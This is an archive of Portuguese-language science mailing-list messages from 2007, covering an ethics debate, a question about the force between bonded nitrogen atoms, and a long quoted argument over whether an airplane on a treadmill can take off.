JR - Esse aprendizado come�a inconscientemente na primeira inf�ncia do zero aos quatro anos. A consci�ncia e o discernimento vem aos poucos ap�s a adolesc�ncia, onde adquirimos nossas primeiras
convic��es. O restante da vida � a cont�nua e permanente fase das avalia��es-reavalia�� es. Sobre esses
>temas como justi�a, bem, mal, racionalidade, o mundo est� cheio de bons livros contendo as mais diversas vis�es ou percep��es. Para refletir sobre essas vis�es � necess�rio liberdade, tranq�ilidade,
tempo... Mas essas s�o as primeiras riquezas que vampiros midi�ticos marqueteiros nos furtam com
promessas sedutoras de emo��o, prazer, alegria, participa��o.. . A partir da� viramos um cidad�o-zumbi, n�o temos mais vontade nem id�ias pr�prias, nem tomamos nossas decis�es com liberdade e conhecimento. Nos ajeitamos no rold�o em que todos os "consumidores" s�o levados...

C1 - Na inf�ncia voc� aprende a reconhece-los mas n�o entende profundamente o porqu�. Seu reconhecimento � baseado principalmente em dor versus prazer. Talvez n�o exista algo mais universal que isso. [ ... ]
JR1 - Acredito que mesmo depois de adultos temos um entendimento profundo do porqu� agimos assim ou assado, visto que envolve muitos fatores. Os psicanalistas tentam destrinchar isso com o paciente: por que ajo assim, reajo assado, provoco isso, aceito aquilo, rejeito aquilo outro...

[ ... ] C1 - Ent�o o bem poderia ser uma concep��o hedonista de viver e ter�amos nossa �tica e moral que tanto almejamos. [ ... ]
JR1 - Dor e prazer s�o sinais sens�veis relativos. O atleta sofre muito durante a prepara��o para bater seus recordes com a inten��o de ter o prazer de possuir uma medalha de ouro, seu nome nos anais, valoriza��o, admira��o, etc. Dor e prazer n�o s�o indicativos absolutos. Muitas vezes o prazer de comer uma caixa de chocolate acaba mal. Esse equil�brio nas atitudes j� era perseguido por S�crates com muito empenho. Perceba que buscar a felicidade, a gl�ria e o gozo � o objetivo maior e leg�timo do ser humano. As dificuldades ocorrem quando minha vis�o � curta e atropelo tudo que de bom possuo para obter isso. A troca � prejudicial a mim e a todos que uso ou despacho para obter a felicidade a qualquer custo. Vou postar uma reflex�o que fiz sobre isso, provocada h� tempos pelo Bulc�o, na lista Acropolis.

[ ... ] C1 - Sendo assim, a proposta do personagem em MATRIX 1 seria interessante: Viver uma esp�cie de hiberna��o eterna e desfrutar de todos os prazeres que um ser humano pode ter embora isso tudo seja uma ilus�o provocada em seu c�rebro pela Matrix.
JR1 - Mas quando o ser humano toma consci�ncia de sua exist�ncia passa a buscar viver de verdade, ter um amor de verdade, ser feliz de verdade... Ilus�es distraem e confortam durante algum tempo. Mas o bom mesmo � a realidade com todas as sua conseq��ncias.

C1 - Voc� aceitaria algo do tipo ???
JR1 - Viver de mentirinha � o que j� fa�o de diversas maneiras e em diversas ocasi�es. Mas os meus melhores momentos da vida vieram atrav�s da realidade e da lucidez em perceb�-la. Nela me realizo.

C - E por que a mulher n�o teria?? Voc� possui bons princ�pios que justifiquem o contr�rio???

JR - Parece complicado, mas o princ�pio que utilizo � simples e de dom�nio p�blico: n�o fazer ao outro aquilo que eu n�o aceitaria que fizessem comigo.

C1 - Certo, mas eu posso furar esse principio desde que eu nunca seja punido por transgredi-lo sem sentir nenhum remorso conforme eu j� venho repetindo nessa lista. Portanto posso dar minhas puladas de cerca e roubar o dinheiro da carteira de meu pai de vez em quando :p.
JR1 - � o que todos os "espertos e sabid�rios" fazem... Quanto a n�o ser punido ou n�o sentir remorsos n�o � uma certeza obtida de antem�o. Quando menos se espera vem a tal crise existencial e a� o cara se constata um merda, mentiroso, falso, safado, lixo, traidor, etc. e nem sabe mais quem ele � de fato no meio de tanta falsidade e mentira.

C - Antigamente n�o t�nhamos a quantidade de informa��o que temos hoje. Se o conhecimento sobre nossa natureza alcan�ou patamares nunca dantes sonhados, acredito que dever�amos entender bem a
causa do Direito. Mais uma vez a moral absoluta versus a moral relativa.

JR - Entender, j� entendemos. O que temos visto ao longo da hist�ria s�o varia��es sobre o mesmo tema em palcos diversos. Mais recentemente, nesses �ltimos s�culos, estamos nos especializando em burlar
o Direito de modo tal e com argumentos tais que o direito esteja sempre a favor dos que det�m o poder.

C1 - N�o entendemos de forma absoluta. E eu acredito que esse seria o ideal. A quest�o � se � poss�vel tal universaliza��o.
JR1 - O absoluto me parece ser o objetivo a ser mirado mesmo sabendo que ele pode ser inating�vel. Muitos valores s�o considerados universais, pelo menos no papel. Vide a Declara��o Universal dos Direitos do Homem. Considero a liberdade a primeira...

C - Eu acho que voc� tem medo de ser "mauzinho".

JR - Eu procuro evitar situa��es de crueldade. Toda vez que cometo uma crueldade fico com uma sensa��o muito ruim a incomodar... Minha paz vai pro espa�o e o que fica em seu lugar � muito, muito desagrad�vel.

C1 - E se ser "mauzinho" te desse prazer ent�o voc� seria "mauzinho"??? Se voc� responder sim, ent�o n�o poder� julgar o "mauzinho" de acordo com os seus valores. Tanto voc� quanto o homem mau
agem pelo mesmo princ�pio. A indigna��o seria uma atitude incoerente da sua parte.
JR1 - Prejudicar, sacanear ou fazer mal a algu�m pode dar algum prazer, algum tipo de emo��o forte. Os cru�is patol�gicos t�m orgasmos ao praticar viol�ncia, mas � um dist�rbio mental que n�o me parece grande coisa desejar possuir. Quanto � vontade de usar minha experi�ncia de vida para discernir o que � melhor, o que deve ser evitado e o que precisa ser superado, � um exerc�cio di�rio que requer tempo, coragem e reflex�o. Cometer os mesmos erros ou o erro dos outros � burrice em dobro. Prefiro tentar algo diferente e que tenha alguma chance de obter melhores resultados...

C - Por que essa � a melhor forma???

JR - Descobri isso na inf�ncia quando percebi que eu sou o pr�ximo para o meu pr�ximo. Mais tarde isso ficou bem claro e, apesar de procurar outras alternativas, n�o encontrei nada mais simples e efetivo.

C1 - Voc� relativizou. Isso aqui � palavr�o :p.
JR1 - Palavr�o? Vc deve estar enganado. Tenho a impress�o que aqui o que incomoda mais � falar em absoluto...

C - Por que isso � uma estupidez???

JR - Porque o ganho que eu tenho � fortuito e se esgota rapidamente, enquanto as conseq��ncias desagrad�veis que minha atitude provoca no meio em que vivo s�o progressivas e bem mais duradouras.

C1 - Mais uma vez, repito: O principio da n�o-a��o para n�o receber as conseq��ncias da rea��o � furado. Basta que se burle as conseq��ncias da rea��o.
JR1 - Mas, Chic�o, n�o � esse objetivo que nos ilude desde sempre? O crime perfeito! E cada vez mais se sofistica as formas burlar, de modo a ser � prova de qualquer investiga��o, at� que algu�m de dentro do esquema se sente enganado e, antes de ser eliminado, denuncia(RJ) ou mesmo o burlador se rende � verdade(NSN) ou por vaidade abre o bico(SN,ACM).

Abra�os

Jos� Renato
..............................................


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Forca entre os atomos
FROM: "brudna" <lrb@iq.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 18:35

Me fizeram essa pergunta por um dos sites.
Passo o pepino pra vcs. :-)
Ateh
Luis Brudna
-
Tenho uma duvida que ja procurei em muitos livros e nao encontrei por
favor
me ajude.
Digamos que eu tenho em um recipiente dois atomos, um atomo de nitrogenio
fazendo uma ligação tripla com outro atomo de nitrogenio.Gostaria MUITO de
saber como eu faço para calcular a FORÇA de atração que um exerce sobre o
outro,porque deve haver uma força de atração.Sei que e ENERGIA de ligação
entre eles e de 946KJ/mol.Mas repito gostaria muito de saber como faço
para
calcular a FORÇA de atração entre eles.Tudo isso porque imagino que se eu
pudesse pegar com as maos cada um desses atomos eu teria que aplicar uma
força para separa-los nao e mesmo?!!!
--



SUBJECT: Re: Forca entre os atomos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 21:00

A força de atração entre eles é zero. Se houvesse uma força não nula,
os átomos iriam se aproximar mais e mais. Eles estão é a uma distância
de equilíbrio - entre forças repulsivas e atrativas - de modo q a
resultante é nula.

O q se pode calcular é a força de resistência da ligação - qta força é
necessária de se aplicar para afastar dois átomos de modo q a ligação
entre eles se desfaça. Se afastarmos os átomos a uma distância de duas
a três vezes maior do q o comprimento médio da ligação, considera-se q
a ligação foi rompida.

Aí é só igualar a entalpia da ligação ao trabalho realizado pela força
q se quer calcular. Considerando-se uma força horizontal.

F.d = deltaH

Iguala-se d a duas ou três vezes o comprimento médio da ligação.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "brudna" <lrb@...> escreveu
> Luis Brudna
> -
> Digamos que eu tenho em um recipiente dois atomos, um atomo de
> nitrogenio fazendo uma ligação tripla com outro atomo de
> nitrogenio.Gostaria MUITO de saber como eu faço para calcular a FORÇA
> de atração que um exerce sobre o outro,porque deve haver uma força de
> atração.Sei que e ENERGIA de ligação entre eles e de 946KJ/mol.Mas
> repito gostaria muito de saber como faço para
> calcular a FORÇA de atração entre eles.Tudo isso porque imagino que
se > eu pudesse pegar com as maos cada um desses atomos eu teria que
> aplicar uma força para separa-los nao e mesmo?!!!




SUBJECT: Re: Forca entre os atomos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 21:19

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> F.d = deltaH
>
> Iguala-se d a duas ou três vezes o comprimento médio da ligação.

Epa! É preciso subtrair o comprimento original.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 22:18

Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
problema, item a item. Faço comentários no texto abaixo, após JR -, de modo
a facilitar o desenvolvimento das idéias:
.....................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 7:06 AM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


> José Renato,
>
> Com atrito nos "rolamentos", e com o motor desligado (importante), o avião
> é
> progressivamente puxado para trás, se a esteira estiver continuamente
> rodando para trás. Começando com uma velocidade determinada, até chegar à
> velocidade da esteira.
JR - A proposta de "testar" o que ocorreria quando o avião estiver com
motores desligados e a esteira fosse acionada foi só para ajustar que,
normalmente, há um atrito significativo entre a esteira e o avião através do
que quer que seja: rodas, esquis, fuselagem...
>
> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
> descrição da frase acima não corresponde em nada ao problema proposto. O
> avião e a esteira começam parados, o avião liga seu motor, então, apenas
> se
> ele começar a andar para frente, a esteira começara a andar para trás. E o
> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo do
> motor. Então o avião andará para frente.
JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em que
os motores são ligados e o avião começa a se deslocar para frente sobre a
esteira e, *simultaneamente*, a esteira começa a se deslocar para trás, na
mesma velocidade do avião. Agora, vem um detalhe importante: como está sendo
medida a velocidade do avião? Vamos considerar que a velocidade do avião é
medida por um velocímetro nele acoplado, semelhante ao que as revistas de
automóveis usam para fazer os testes de carros: uma roda calibrada ou um
foco de luz sobre o piso da esteira onde o avião está se deslocando. Assim
que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse um
carro em teste - a esteira corre também na mesma velocidade de 100km/h, para
trás. Em relação a esteira o avião está a 100km/h, mas em relação ao chão
onde a esteira está apoiada e ao ar que os cerca, está praticamente parado.
>
> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
> esteira
> ficam parados. Para o avião e a esteira ficarem parados, o atrito estaria
> acima de qualquer caso real razoável.
JR - Nesse caso estou analisando a primeira possibilidade. Quando os motores
do avião são acionados o atrito normal existente é superado pelo empuxo e
ele se desloca sobre a esteira como faria em qualquer pista.
>
> Este assunto está se estendendo a ponto de confundir mais do que
> esclarecer,
> eu acho. Gosto da abordagem construtiva do Takata. Evita essas recorrentes
> discussões dos mesmos pontos. Evita que andemos em círculos, como está
> acontecendo agora.
JR - Confirme se até aqui ficou claro para vc que o avião ficará
praticamente parado em relação ao chão onde está apoiada a esteira rolante.
Aí então podemos ajustar outros entendimentos e continuar nossa discussão.
Takata vinha desenvolvendo a questão com clareza até quando - para atender
as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
suposições e detalhes periféricos sem importância significativa ao
esclarecimento do problema proposto.

[]s

José Renato
......................................................

al Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 11:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>> rodas.
>> Assim sendo, a esteira transportará o avião na direção do movimento dela.
>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>> seguinte
>> texto:
>>
>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião para
>> trás. As rodas girarão um pouco apenas no caso da esteira partir com uma
>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>> rodas. Depois que a esteira "infinita" atinge a velocidade limite máxima
>> e
>> a
>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
>> ser
>> transportado "paradão", se deslocando para trás com a mesma velocidade da
>> esteira. ]
>>
>> []s
>>
>> JR
>> ...................................
>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Sunday, March 04, 2007 6:38 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
>> esteira
>>
>>
>>> Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
>>> após os seus:
>>> ...........................
>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Sunday, March 04, 2007 4:09 PM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>> que
>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>> avião
>>>> para frente é independente da esteira (turbina, por exemplo), a esteira
>>>> se
>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>> mas
>>>> sim, faz as rodas girarem mais rápido.
>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc
>>> e
>>> a
>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>>> caso
>>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge
>>> a
>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
>>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>>> para
>>> trás com a mesma velocidade da esteira.
>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>> acionados.
>>>
>>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>>> para
>>>> trás, e as rodas giram mais rápido.
>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>> frente
>>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>>> Ele
>>> só passará a se deslocar para frente continuamente sobre a esteira
>>> quando
>>> os
>>> motores das hélices ou turbinas forem acionados e acelerados.
>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>> estará
>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>> acima
>>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>>> que
>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>>> fosse
>>> "amarrado pela cauda" e acelerasse os motores.
>>>>
>>>> []s
>>>> Ricardo
>>>
>>> []s
>>> José Renato
>>> ................................................
>>
>> ----- Original Message -----
>> From: "Oraculo" <oraculo@atibaia.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 05, 2007 3:19 PM
>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola
>> SEM PROBLEMAS..:-)
>>
>>
>> Olá Jose Renato
>>
>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>> velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> "
>>
>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>> tração
>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ do
>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o avião
>> apra tras, depois que ele liga as turbinas!
>>
>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
>> elas
>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos
>> de
>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>> aeroporto.
>>
>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
>> GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo
>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>> fornece tração para a esteira empurrar a mala.
>>
>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
>> mala
>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>> atrito
>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>
>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>> ZERO,
>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>> mala
>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>
>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou do
>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>> parar,
>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>
>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
>> pode
>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos rolamentos
>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>> das
>> turbinas.
>>
>> Homero
>>
>>
>>
>>
>> ----- Original Message -----
>> From: José Renato
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, March 04, 2007 12:10 AM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> []s
>> JR
>> ..........................
>>
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, February 27, 2007 11:25 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>> > From: "José Renato" <jrma@terra.com.br>
>> >> Homero:
>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>> das
>> >> rodas. ]
>> >> .............................................
>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>> asas
>> >> capaz
>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>> >> turbinas.
>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>> >
>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> > ao
>> > empurrar o ar para trás, empurra o avião para frente, independente
>> deste
>> > ter
>> > ou não asas. O avião se move para frente ao ligar a turbina, não para
>> > cima.
>> >
>> > Um abraço,
>> >
>> > Ricardo



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 22:36

José Renato,

Realmente você chegou ao que considero o ponto inicial de discordância,
especificamente, entre nós dois.

Para mim é inquestionável que o avião se deslocará para frente sim.
Independente da velocidade do avião do enunciado se referir à velocidade em
relação ao solo ou em relação à esteira.

Se o atrito puder impedir a decolagem, o que não acredito, isso só ocorrerá
com para velocidades maiores, quando o atrito será mais relevante.

> JR - Confirme se até aqui ficou claro para vc que o avião ficará [...]

Para mim, até aqui, ficou claro que discordamos neste ponto básico. Da mesma
forma que vc tem a sensação que precisa me explicar as bases do problema, eu
tb tenho a mesma certeza de que vc é que precisa entender melhor questões
básicas da física envolvida.

[]s Ricardo


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 10:18 PM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
> problema, item a item. Faço comentários no texto abaixo, após JR -, de
> modo
> a facilitar o desenvolvimento das idéias:
> .....................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, March 06, 2007 7:06 AM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> José Renato,
>>
>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
>> avião
>> é
>> progressivamente puxado para trás, se a esteira estiver continuamente
>> rodando para trás. Começando com uma velocidade determinada, até chegar à
>> velocidade da esteira.
> JR - A proposta de "testar" o que ocorreria quando o avião estiver com
> motores desligados e a esteira fosse acionada foi só para ajustar que,
> normalmente, há um atrito significativo entre a esteira e o avião através
> do
> que quer que seja: rodas, esquis, fuselagem...
>>
>> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
>> descrição da frase acima não corresponde em nada ao problema proposto. O
>> avião e a esteira começam parados, o avião liga seu motor, então, apenas
>> se
>> ele começar a andar para frente, a esteira começara a andar para trás. E
>> o
>> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo do
>> motor. Então o avião andará para frente.
> JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em
> que
> os motores são ligados e o avião começa a se deslocar para frente sobre a
> esteira e, *simultaneamente*, a esteira começa a se deslocar para trás, na
> mesma velocidade do avião. Agora, vem um detalhe importante: como está
> sendo
> medida a velocidade do avião? Vamos considerar que a velocidade do avião é
> medida por um velocímetro nele acoplado, semelhante ao que as revistas de
> automóveis usam para fazer os testes de carros: uma roda calibrada ou um
> foco de luz sobre o piso da esteira onde o avião está se deslocando. Assim
> que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse
> um
> carro em teste - a esteira corre também na mesma velocidade de 100km/h,
> para
> trás. Em relação a esteira o avião está a 100km/h, mas em relação ao chão
> onde a esteira está apoiada e ao ar que os cerca, está praticamente
> parado.
>>
>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
>> esteira
>> ficam parados. Para o avião e a esteira ficarem parados, o atrito estaria
>> acima de qualquer caso real razoável.
> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
> motores
> do avião são acionados o atrito normal existente é superado pelo empuxo e
> ele se desloca sobre a esteira como faria em qualquer pista.
>>
>> Este assunto está se estendendo a ponto de confundir mais do que
>> esclarecer,
>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
>> recorrentes
>> discussões dos mesmos pontos. Evita que andemos em círculos, como está
>> acontecendo agora.
> JR - Confirme se até aqui ficou claro para vc que o avião ficará
> praticamente parado em relação ao chão onde está apoiada a esteira
> rolante.
> Aí então podemos ajustar outros entendimentos e continuar nossa discussão.
> Takata vinha desenvolvendo a questão com clareza até quando - para atender
> as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
> suposições e detalhes periféricos sem importância significativa ao
> esclarecimento do problema proposto.
>
> []s
>
> José Renato
> ......................................................
>
> al Message -----
>> From: "José Renato" <jrma@terra.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 05, 2007 11:36 PM
>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola SEM PROBLEMAS..:-)
>>
>>
>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>>> rodas.
>>> Assim sendo, a esteira transportará o avião na direção do movimento
>>> dela.
>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>>> seguinte
>>> texto:
>>>
>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião para
>>> trás. As rodas girarão um pouco apenas no caso da esteira partir com uma
>>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite máxima
>>> e
>>> a
>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
>>> ser
>>> transportado "paradão", se deslocando para trás com a mesma velocidade
>>> da
>>> esteira. ]
>>>
>>> []s
>>>
>>> JR
>>> ...................................
>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Sunday, March 04, 2007 6:38 PM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>>
>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
>>>> comentários
>>>> após os seus:
>>>> ...........................
>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Sunday, March 04, 2007 4:09 PM
>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>> em
>>>> esteira
>>>>
>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>>> que
>>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>>> avião
>>>>> para frente é independente da esteira (turbina, por exemplo), a
>>>>> esteira
>>>>> se
>>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>>> mas
>>>>> sim, faz as rodas girarem mais rápido.
>>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a
>>>> vc
>>>> e
>>>> a
>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
>>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>>>> caso
>>>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge
>>>> a
>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
>>>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>>>> para
>>>> trás com a mesma velocidade da esteira.
>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>>> acionados.
>>>>
>>>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>>>> para
>>>>> trás, e as rodas giram mais rápido.
>>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>>> frente
>>>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>>>> Ele
>>>> só passará a se deslocar para frente continuamente sobre a esteira
>>>> quando
>>>> os
>>>> motores das hélices ou turbinas forem acionados e acelerados.
>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
>>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>>> estará
>>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>>> acima
>>>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>>>> que
>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>>>> fosse
>>>> "amarrado pela cauda" e acelerasse os motores.
>>>>>
>>>>> []s
>>>>> Ricardo
>>>>
>>>> []s
>>>> José Renato
>>>> ................................................
>>>
>>> ----- Original Message -----
>>> From: "Oraculo" <oraculo@atibaia.com.br>
>>> To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Monday, March 05, 2007 3:19 PM
>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>> decola
>>> SEM PROBLEMAS..:-)
>>>
>>>
>>> Olá Jose Renato
>>>
>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>> velocidade!
>>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>>> ao
>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>> hélices
>>> ou turbinas. Difícil, não?
>>> "
>>>
>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>>> tração
>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ
>>> do
>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
>>> avião
>>> apra tras, depois que ele liga as turbinas!
>>>
>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
>>> elas
>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos
>>> de
>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>>> aeroporto.
>>>
>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo
>>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>>> fornece tração para a esteira empurrar a mala.
>>>
